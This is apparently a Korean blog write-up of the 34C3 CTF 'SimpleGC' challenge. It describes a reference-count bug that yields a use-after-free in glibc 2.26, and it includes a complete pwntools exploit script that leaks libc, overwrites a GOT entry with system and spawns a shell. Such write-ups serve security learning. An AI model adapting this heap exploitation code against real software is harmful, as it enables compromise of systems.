
바이너리 다운로드 링크 : https://34c3ctf.ccc.ac/uploads/SimpleGC-09f5d1286c83b34441568a645af12cd5.tar.gz
libc-2.26.so, sgc를 준다. sgc에 적용된 보호기법을 확인해보았다. 감사하게도 PIE와 relro가 안 걸려 있다.


sgc 바이너리를 리버싱하면 user과 user들이 속하는 group을 만들어 관리하는 프로그램임을 알 수 있다. 다만 while 문에 들어가서 전에 gc라는 thread를 실행한다. user 구조체과 group 구조체는 아래와 같다.
| 
 1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
 | 
 struct group 
{ 
  char *group_name; 
  __int64 ref_count; 
}; 
struct user 
{ 
  __int64 age; 
  char *user_name; 
  char *group_name; 
}; 
 | 
cs | 
gc에서는 ref_count가 0이 되면 group과 group_name을 free한다.

ref_count는 group에 속한 유저를 삭제 할때, group에 유저를 추가할 때 각각 추가된다. 이때 유저가 속한 group의 포인터를 얻기 위하여 group_name이 사용된다.


취약점은 edit group에서 발생한다. propagate를 할 건지 묻는 질문에 y를 입력하면 user의 group_name을 수정할 때 ref_count를 건드리지 않는다. 따라서 group_name이 A인 group과 B인 그룹이 있을 때, B group의 이름을 A로 수정하면 A와 B는 다른 그룹이지만 같은 이름을 갖는다. 따라서 B 그룹의 멤버를 삭제하면 A와 B의 ref_count가 함께 감소한다. 따라서 B의 유저를 감소시켜 A 그룹의 ref_count를 0으로 만든다면, A 그룹의 유저에 대한 use after free 취약점이 발생한다.

이제 UAF를 트리거할 수 있지만, group과 group_name을 free하는 thread가 GC이기 때문에 main thread에서는 GC thread의 tcache bin에 들어간 청크를 할당받을 수 없다. 따라서 tcache bin을 꽉 채운 다음 fastbin을 이용해야 한다.
UAF 취약점을 이용하여 group_name을 user 구조체에 할당받은 후 user의 group_name 포인터를 수정하면 AAW, AAR를 할 수 있다.
| 
 1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 
26 
27 
28 
29 
30 
31 
32 
33 
34 
35 
36 
37 
38 
39 
40 
41 
42 
43 
44 
45 
46 
47 
48 
49 
50 
51 
52 
53 
54 
55 
56 
57 
58 
59 
60 
61 
62 
63 
64 
65 
66 
67 
68 
69 
70 
71 
72 
73 
 | 
 from pwn import * 
import time 
def add(Uname,Gname,age): 
    p.sendline('0') 
    p.recvuntil('name') 
    p.sendline(Uname) 
    p.recvuntil('group') 
    p.sendline(Gname) 
    p.recvuntil('age') 
    p.sendline(str(age)) 
    p.recvuntil('reated') 
    p.recvuntil('Exit') 
def edit(idx,yn,Gname): 
    p.sendline('3') 
    p.recvuntil('ndex') 
    p.sendline(str(idx)) 
    p.recvuntil('(y/n)') 
    p.sendline(yn) 
    p.recvuntil('name') 
    p.sendline(Gname) 
    p.recvuntil('Exit') 
def remove(idx): 
    p.sendline('4') 
    p.recvuntil('in') 
    p.sendline(str(idx)) 
    p.recvuntil('Exit') 
def leak(idx): 
    p.sendline('2') 
    p.recvuntil('index:') 
    p.sendline(str(idx)) 
    p.recvuntil('Name: ') 
    leak=p.recv(6).ljust(8,'\x00') 
    log.info('leak : '+leak) 
    p.recvuntil('Exit') 
    leak=u64(leak) 
    return leak 
def win(idx): 
    p.sendline('4') 
    p.recvuntil('in') 
    p.sendline(str(idx)) 
p=process('sgc') 
#gdb.attach(p) 
p.recvuntil('Exit') 
for x in range(4): 
    add('q'*0x80,str(x),1) 
for x in range(4): 
    remove(x) 
time.sleep(1) 
add('w'*0x80,"G0",1)#0 
add('w'*0x80,'G1',2)#1 
edit(1,'y','G0') 
remove(1)#-1 
time.sleep(1) 
add('w'*0x80,"G2",1)#1 
add('w'*0x80,'G3',1)#2 
add('w'*0x80,'G3',1)#3 
edit(0,'y',p64(0)+p64(0x602068)+p64(0x602068)) 
leak=leak(1) 
log.info('leak = '+hex(leak)) 
libc=leak-0xa9e70 
system=libc+0x4f440 
binsh=libc+0x1b3e9a 
log.info('libc base = '+hex(libc)) 
log.info('system = '+hex(system)) 
log.info('binsh = '+hex(binsh)) 
edit(1,'y',p64(system)*3) 
edit(0,'y',p64(0)+p64(binsh)+p64(binsh)) 
win(1) 
p.interactive() 
 | 
cs | 
'PWN' 카테고리의 다른 글
| [CISCN 2017] BabyDriver (0) | 2020.02.04 | 
|---|---|
| 2019 defcon/ babyheap (0) | 2020.01.04 | 
| calloc without memset 0 (0) | 2019.12.30 | 
| glibc 2.29 tcache (0) | 2019.12.28 | 
| glibc 2.29 malloc 분석1. [청크, malloc] (0) | 2019.12.27 |